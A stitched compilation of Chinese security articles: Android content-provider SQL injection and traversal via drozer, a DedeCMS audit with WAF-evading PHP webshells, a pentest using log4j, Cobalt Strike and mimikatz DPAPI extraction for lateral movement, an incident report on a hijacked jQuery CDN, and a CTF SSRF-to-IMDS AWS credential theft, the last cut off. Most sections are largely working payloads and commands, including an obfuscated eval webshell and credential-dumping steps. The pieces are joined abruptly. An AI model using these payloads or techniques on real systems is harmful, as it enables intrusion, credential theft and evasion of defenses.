Content Provider 在处理查询时直接拼接 SQL 语句,未使用参数化查询,导致 SQL 注入。
1)漏洞代码
通过代码发现将selection参数直接拼接进 SQL 查询字符串,未使⽤参数化查询或输⼊净化,完全信任外部输⼊。并且忽略了selectionArgs参数,该参数本应⽤于安全传递查询参数,调⽤rawQuery时未使⽤参数绑定功能,⽽是传递null。
2)漏洞利用
利用drozer的scanner.provider.injection可以查询该APP的Content Provider存在的SQL注入
run scanner.provider.injection -a com.asec.alan
基于sql注入漏洞的测试和利用,通过order by进行显示位的判断
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2"
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3"
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4"
并进行username和password数据的查询。
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--"
3、目录遍历漏洞
Content Provider 的openFile()方法未验证文件路径,导致攻击者可访问应用沙盒外的任意文件。
1)漏洞代码
代码中使用uri.getEncodedPath()获取路径,未处理../或..\等路径跳转符,用户可控的uriPath直接与基础目录baseDir拼接,并没有对访问的文件类型、路径范围进行权限校验。
2)漏洞利用
利用drozer的scanner.provider.traversal对目录遍历漏洞进行检测,发现对应的uri
run scanner.provider.traversal -a com.asec.alan
并成功查询/system/etc/hosts文件内容
run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts
本文利用drozer工具基于该APP的测试和操作,其实对于android app的组件漏洞的测试还有很多方法,通过其对四大组件的系统性检测,可有效发现权限控制缺失、输入验证不足等高危漏洞。在实际测试中,需结合静态代码分析(如查看 AndroidManifest.xml 的组件配置)与 Drozer 的动态交互测试,形成 "静态枚举 + 动态验证" 的闭环,才能全面评估组件的安全状态,为漏洞修复提供精准依据。
APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk
提取码: 4ggk
意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE
前言
书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS
官方网站 https://www.dedecms.com/
最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路
环境搭建
去官网下载源码,然后配合 phpstudy 搭建就 ok 了
这个比较简单,注意根目录需要放 upload 目录
注意默认的管理员目录是 dede,访问/dede/login.php
默认账户密码adminadmin
代码审计
这里我只找 RCE 漏洞
首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞
sink 点的话可以使用一个工具
Seay 源代码审计系统
https://github.com/f1tz/cnseay虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术
我们直接把源码丢进去就可以了
可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的
然后这里我只关注能够 RCE 的漏洞
找到之后没有什么技巧,就是回头看参数是否可以控制
下面举个例子
案例 1
比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下
<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
if ($k[0] == 'd' && $k[5] == 'd') {
$template_source = str_replace($v,'',$password);
}}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){
}else{
header('Content-Type:text/html;charset=utf-8'); http_response_code(405);
echo base64_decode/**/($NkM1M7);
}
我们可以看到这个参数其实是不能控制的
`aes_decode[1]就是 $key,等价于$template_source
$template_source = str_replace($v, '', $password);
来源于$password
而其中 password 是固定的,所以不可以控制
案例 2
function DeleteFile($filename)
{
$filename = $this->baseDir.$this->activeDir."/$filename";
if(is_file($filename))
{
@unlink($filename); $t="文件";
}
else
{
$t = "目录";
if($this->allowDeleteDir==1)
{
$this->RmDirFiles($filename);
} else
{
// 完善用户体验,by:sumic
ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
exit;
}
}
ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);
return 0;
}
}
是一个方法,这种需要寻找调用这个方法的地方
else if($fmdo=="del")
{
$fmm->DeleteFile($filename);
}
这种是一个典型的控制器,根据 fmdo 来选择对应的操作
不过根据所在的文件的注释
/**
* 文件管理控制
*
* @version $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package DedeCMS.Administrator
* @founder IT柏拉图, https://weibo.com/itprato
* @author DedeCMS团队
* @copyright Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
这里就能大概猜到了
是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越
不过这里是做了限制的
$filename = preg_replace("#([.]+[/]+)*#", "", $filename);
移除 ../ 形式的路径穿越字符
而且下面还会直接移除..
所以考虑放弃
案例 3
定位到 sys_sql_query.php 文件了
发现可以执行 sql
if(preg_match("#^select #i", $sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow()<=0)
{
echo "运行SQL:{$sqlquery},无返回记录!";
}
else
{
echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j > 100)
{
break;
}
echo "<hr size=1 width='100%'/>";
echo "记录:$j";
echo "<hr size=1 width='100%'/>";
foreach($row as $k=>$v)
{
echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
}
}
exit();
}
if($querytype==2)
{
//普通的SQL语句
$sqlquery = str_replace("\r","",$sqlquery);
$sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
$nerrCode = ""; $i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
}
}
echo "成功执行{$i}个SQL语句!<br><br>";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "成功执行1个SQL语句!<br><br>";
echo $nerrCode;
}
exit();
}
而且 sql 语句是可以控制的
跟进执行的地方发现
function Execute($id="me", $sql='')
{
global $dsqli;
if(!$dsqli->isInit)
{
$this->Init($this->pconnect);
}
if($dsqli->isClose)
{
$this->Open(FALSE);
$dsqli->isClose = FALSE;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}
//SQL语句安全检查
if($this->safeCheck)
{
CheckSql($this->queryString);
}
$t1 = ExecTime();
//var_dump($this->queryString);
$this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());
//查询性能测试
if($this->recordLog) {
$queryTime = ExecTime() - $t1;
$this->RecordLog($queryTime);
//echo $this->queryString."--{$queryTime}<hr />\r\n";
}
if($this->result[$id]===FALSE)
{
$this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
}
}
是有一个 checksql 的检查的
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
if (!function_exists('CheckSql'))
{
function CheckSql($db_string,$querytype='select')
{
global $cfg_cookie_encode;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s#39;;
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$s#39;)!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = TRUE;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
}
案例 4
基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法
我们来到对应的路由去查看
果然找到了
//文件编辑
/*---------------
function __saveEdit();
----------------*/
else if($fmdo=="edit")
{
csrf_check();
$filename = str_replace("..", "", $filename);
$file = "$cfg_basedir$activepath/$filename";
$str = stripslashes($str);
$fp = fopen($file, "w");
fputs($fp, $str);
fclose($fp);
if ($fp === false) {
ShowMsg("保存失败!请检查文件是否可写", -1);
exit();
}
if(empty($backurl))
{
ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");
}
else
{
ShowMsg("成功保存文件!",$backurl);
}
exit();
}
一样的方法
文件名是 filename,内容是 str
我们访问对应的路由
发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗
POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 130
Cache-Control: max-age=0
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwa
Connection: keep-alive
fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++
但是发现
所以准备调试分析一手
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
发现原因是因为有 waf
直接交给一个聪明朋友
移除多行注释
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);
防止攻击者把危险代码写在注释中来绕过检测。
危险函数与变量过滤
$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';
匹配并拦截使用了以下内容的代码:
系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等
全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS
动态函数调用:call_user_func, create_function, 等
一旦匹配:直接终止执行并提示危险代码。
PHP 标签与代码执行行为检测
感觉过滤还是挺严格的
绕过 waf 到 RCE
直接掏出上次的 webshell,稍微修改一下就 ok 了
<?php
class User {
private $username;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function __debugInfo() {
$xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump (($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString());
return [
'username' => $this->username,
'info' => '这是调试时返回的信息',
'timestamp' => time()
];
}
}
$user = new User('alice', 'secret123');
var_dump($user);
原理上次大概讲过了,就是自动触发
详情可以看到蚁景网络安全这个公众号
https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg感谢给的平台
然后我们访问首页
成功弹出计算器
记一次内网横向破解管理员密码
前言
本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
外网打点
首先一波信息收集过后,把最后收集的到的 url 拿到 httpx 去做一下存活检测
httpx 测活一下
测完活之后,搞波指纹
指纹到手,这边一般我都是拿高危指纹去漏扫一下
然后找到了一个站点
GETshell
之后找到了一个站点
直接访问如下,相信这种情况很常见,别急,其实还有利用空间,然后我对它目录扫描了一波
发现竟然有
/api/actuator 泄露,这个利用的手法很多
先遍历访问一下常见的接口
但是这个点接口权限不够,比如常见的 env 和 heapdump 访问不到
决定溜了的时候发现 bp 我的 dns 平台传来了动静
竟然有 log4j
呜呜呜,网上一堆工具,打 log4j 都到完全自动化的地步了
CS 生成一个命令,上线到 cs 上,因为不好传文件,就执行命令
07/23 15:13:23 beacon> shell whoami
07/23 15:13:23 [*] Tasked beacon to run: whoami
07/23 15:13:23 [+] host called home, sent: 37 bytes
07/23 15:13:23 [+] received output:
xxxxxx\administrator
内网启动
内网信息收集
首先简单看下内网的网段
找到了内网之后我们就需要查看存活情况了,我的 fscan 没有免杀,这里只能随便看看了
随便 arp-a 看了一下
发现 c 段的主机还是很多的
systeminfo
win2012 的用户,不过已经是高权限了,也没有必要提权了
然后我发现在域的时候我就先不管了,先找找凭据
凭据收集
这里没有抓取到密码
然后自己尝试了半天,大师傅提示了一些东西,我觉得这个思路也不错,下面讲讲是如何突破的
突破
当时因为还拿下了一台主机,而且是同一个内网的
查询连接信息的时候查到了之前的那个内网,我就想着可以尝试使用 DPAPI
DPAPI 是 Windows 系统用来加密敏感数据(比如用户保存的密码、浏览器凭据、无线密码等)的一个加密机制
MasterKey 就是一串“主密钥”,是每个用户登录 Windows 后系统自动为其生成的,用来加密和解密数据的“钥匙”
流程
[ 用户口令 → 派生 Key1 ] ← 用来加密 MasterKey
↓
[ MasterKey ] ← 用来加密 DPAPI 中的密码等敏感数据
↓
[ 某个应用的数据(如 WiFi 密码) ]GUID : {3cef9fc0-4319-42da-80ff-9e74470a9f7c}
Time : 2025/2/4 0:23:08
MasterKey : aed5fc1156359826c231e1079996c769cf1ee...
sha1(key) : deb68bc117a3323d424a7d21a86173438e2419f7
Master Key Files
存放密钥的文件则被称之为 MasterKeyFiles,其路径一般为 %APPDATA%/Microsoft/Protect/%SID%。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码/Ntlm/Sha1 就可以还原了。
当然除了 GUID 命名的文件之外,还有 Preferred,显示当前系统正在使用的 MasterKey file 及其过期时间
我这里去寻找一下 amdin 的凭证
直接拿最新的那个
然后去获取 guid
之后通过这个 guid,我们去寻找 masterkey
首先需要把全部的 masterkey 找出来
mimikatz sekurlsa::dpapi
sekurlsa::dpapi 会从 lsass 中提取当前用户登录会话的 DPAPI MasterKey 解密材料(如密码、hash、SID 等),用于离线解密各种 DPAPI 加密的凭据文件
因为内容很多,直接把结果复制到记事本
然后搜索一下
太好了,找到了,然后我们直接去破解
mimikatz dpapi::cred
/in:C:\Users\Administrator\appdata\local\microsoft\credentials\xxxxx /masterkey:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
直接获取到了管理员的密码
而且这个密码应该是集团的通用密码,后续发现这个这个内网网段的管理员都是这个密码
远程其他网段的桌面
利用这个密码,横向了大概有 9 台主机
一次暗链应急响应
0x01前言
一个从20几℃的大热天冬天天气变成寒冷潮湿阴天的天气,正躲在公司瑟瑟发抖的我,突然被拉进了一个应急群。某客户那边的站点,在打开某些特定页面的时候,会出现买虚拟货币的宣传视频,很明显又是黑灰产搞的鬼。目前已前场采集过来的信息如下:
在打开特定页面才会触发;
在特定页面也无法准确复现,尝试好一会才能复现两次;
前场同事使用的是iOS,然后其他人使用Android也可以复现;
我使用浏览器和微信浏览器打开,难以复现;
在对应服务器上未找到其音频文件;
目前使用特定运营商网络可以复现;
0x02分析
在获取目前这些信息后,有几个猜想思路:
在对应服务器没找到音频文件,这个其实我是可以猜到的,一般来说,比较可能的原因是站点源码被更改了,去请求外链在客户浏览器/移动端进行播放;
接下来是分析恶意代码存在哪里。从目前浏览器无法复现来看,猜测可能代码存在客户端上,或者本身音频文件就在客户端资源包里面。如果真是这样,那就得逆向分析APP,这就比较麻烦了。
但是其实第二条的实现是比较难的。想达到篡改APP的情况,还是官网下载的APP,难度太大了。哪怕APP没有做签名防篡改,想直接把官网的APP下载链接篡改,这个难度是最大的。没事,实践出真知!使用burp进行抓包,使用浏览器打开问题链接:
突然出现的提示,让我突然虎躯一震。有没有一种可能?浏览器打开之所以无法触发,是因为仅在移动端上才能生效。通过F12的功能,可以设置UA头为移动端,可以模拟手机发送请求:
果然。在burp里面发现了奇怪的mp4文件链接。
可以看到,被腾讯云拦截了。这可能也是复现为什么不好复现的原因。而在特定网络下,可以访问到这个,可能就是因为某些运营商可能没有做拦截。为了和前场同事确认是否为该文件,我使用了点技术手段,获取到此视频文件,发送给他。经确认,可以判断,即为该文件导致的。
那么接下来就是分析js的调用关系,查看怎么通过客户站点到该站点的。
0x03溯源
由于该请求的referer头是本身,那我们难以找到是哪个页面请求的。只能通过搜索查看:
成功在www.unionxxxx.com里面发现了该链接请求,且里面包含很多huobi的黑产链接。进一步分析链接是怎么请求来。后续在www.unionxxxx.com/ddd.html里面找到恶意链接。
那现在最后的问题就是找到www.unionxxxx.com/ddd.html与客户站点的调用关系。这也是最难的一步。为什么呢?因为不管是通过referer自动还是全局搜,都找不到www.unionxxxx.com/ddd.html链接。搜索unionxxxx字段,也没有找到其他链接。
最后实在没办法了,只能通过抓包,一步一步查看请求顺序。最后终于发现疑似链接:https://cdn.xxxxcdn.net/ajax/libs/jquery/3.6.0/jquery.js。分析该jquery文件,并未发现存在问题的代码,但是当我翻到最后面时,发现了问题:
图片红框部分,明显与众不同。事出反常必有妖!混淆加密的太离谱了,可读性实在是太差了。但是看着看着,好像发现了熟悉的东西。
这不就是那个恶意链接吗?当然这只是猜想,最后看下能不能得解开这些加密。试了网上的好多个js解密,没一个能用的。但是又在js里面看到了一个链接:
访问jsjiami.com,尝试解密:
结果不可逆!!!
后续没办法了,只能找new bing大哥帮我看看。结果,柳暗花明又一村啊!
虽然只有部分,但是够了。这样就能把所有调用关系联系起来了。
0x04结尾
该恶意链接可能是cdn站点被劫持了导致的。而这cdn链接,很多公司,乃至很多开发框架,都是使用的该链接,影响范围之大,难以想象。本来想把这个情报反馈给当地网安处理,但是在此文章写完之时,才发现,该链接已经恢复正常了,后面的加密js代码已被剔除。
wiz2025 挑战赛从 SpringActuator 泄露到 s3 敏感文件获取全解析
背景
经过几周的利用和权限提升,你获得了访问你希望是最终服务器的权限,然后可以使用它从 S3 存储桶中提取秘密旗帜。
但这不会容易。目标使用 AWS 数据边界来限制对存储桶内容的访问。
`You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com
{"status":"UP"}
解决过程
Spring Boot Actuator 泄露
首先我们分析一下,flag 肯定是在存储桶中,因为这里说了已经对我们的桶进行了限制,所以匿名访问的方法可能没有作用,不过这里还是尝试一下,首先匿名访问需要获取存储桶的名称,因为题目已经告诉了 Spring Boot Actuator明显我们可以查看 env
尝试列出
user@monthly-challenge:~$ aws s3 ls s3://challenge01-470f711/ --no-sign-request
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
不行,没有权限,所以我们必须去寻找凭证
我第一想法就是元数据
但是没有反应
curl http://169.254.169.254/latest/meta-data
估计这个 shell 不是一个 EC2 的
然后就是寻找凭据了,可以使用一些工具,比如 truffleHog
然后简单找了一下
user@monthly-challenge:/$ grep -ri --exclude-dir={/proc,/sys,/dev,/run,/snap,/var/lib/dock
er} 'Secret Access Key' /
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json: "documentation":"<p>The secret access key of a connection.</p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/datazone/2018-05-10/service-2.json: "documentation":"<p>The secret access key of the environment credentials.</p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3control/2018-08-20/service-2.json: "documentation":"<p>The secret access key of the Amazon Web Services STS temporary credential that S3 Access Grants vends to grantees and client applications. </p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json: "documentation":"<p> The Secret Access Key portion of the credentials. </p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/appflow/2020-08-23/service-2.json: "documentation":"<p> The Secret Access Key portion of the credentials. </p>"
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/opsworks/2013-02-18/service-2.json: "documentation":"<p>When included in a request, the parameter depends on the repository type.</p> <ul> <li> <p>For Amazon S3 bundles, set <code>Password</code> to the appropriate IAM secret access ke
/usr/local/aws-cli/v2/2.27.37/dist/awscli/botocore/data/s3/2006-03-01/service-2.json: "documentation":"<p>Creates a copy of an object that is already stored in Amazon S3.</p> <note> <p>You can store individual objects of up to 5 TB in Amazon S3. You create a copy of your object up to 5 GB in si
找了也没有,常规的收集都没有发现,然后只能根据提示,继续在 spring 这个面努力了
然后去批量爆破一波查看是否有可利用的信息
然后又把 mapping 中的路由全部提取出来,看到了 proxy 路由
这个应该就是拿来访问元数据的了
元数据绕过
一般都有 ssrf 漏洞
user@monthly-challenge:/$ curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/
HTTP error: 401 Unauthorized
可以看到至少是可以成功访问元数据了,只不过没有权限,因为之后采用了 IMDSv2
我们首先获取 token,使用 PUT 请求
user@monthly-challenge:/$ curl -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token"
AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==
可以看到获取到了 Token,我们尝试使用 token 来访问元数据
user@monthly-challenge:/$ curl -H "X-aws: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/"
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hibernation/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
system
可以了,我们访问凭证信息
user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" \
"https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
challenge01-5592368
然后使用它的凭证
user@monthly-challenge:/$ curl -H "X-aws-ec2-metadata-token: AQAEAH7E4VkFWamewp6GggQ0KhjyVTbs7h4FUWC46kchGDZOu-uX_Q==" "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/challenge01-5592368"
{
"Code" : "Success",
"LastUpdated" : "2025-07-10T13:26:52Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIARK***WELX36",
"SecretAccessKey" : "PsrjWr+AANNHBG3n***NmUHVglRE+BV",
"Token" : "IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbcKaJ86Qx1issOwp+JUdXyIUaYjLrJhd+klRXKoSNxR/K/F
"Expiration" : "2025-07-10T19:47:29Z"
}
有了这些我们就可以配置了首先我们进行配置
root@hcss-ecs-0d0e:~# aws configure set aws_access_key_id ASIARK7LBO**EXWELX36 --profile challenge01
root@hcss-ecs-0d0e:~# aws configure set aws_secret_access_key PsrjWr+AANNHBG3ngmwQXdCdc******mUHVglRE+BV --profile challenge01
root@hcss-ecs-0d0e:~# aws configure set aws_session_token IQoJb3JpZ2luX2VjELb//////////wEaCXVzLWVhc3QtMSJHMEUCIC6AH+4pBi+UXSj7Xih2aQvR3LmiwIQ8TeL+O6Gv2iotAiEAi6CjgMDpky/IC6HpBwzG52L/ED+fizjGUTaX/5YP4KcqwQUIv///////////ARAAGgwwOTIyOTc4NTEzNzQiDGpyJeQycy6B9rX9XiqVBYrNoqF+yWFZz/IuhF6PqC8iDwPJ9uFspInzbc
之后我们就会有这个用户的权限了
目标文件位置获取
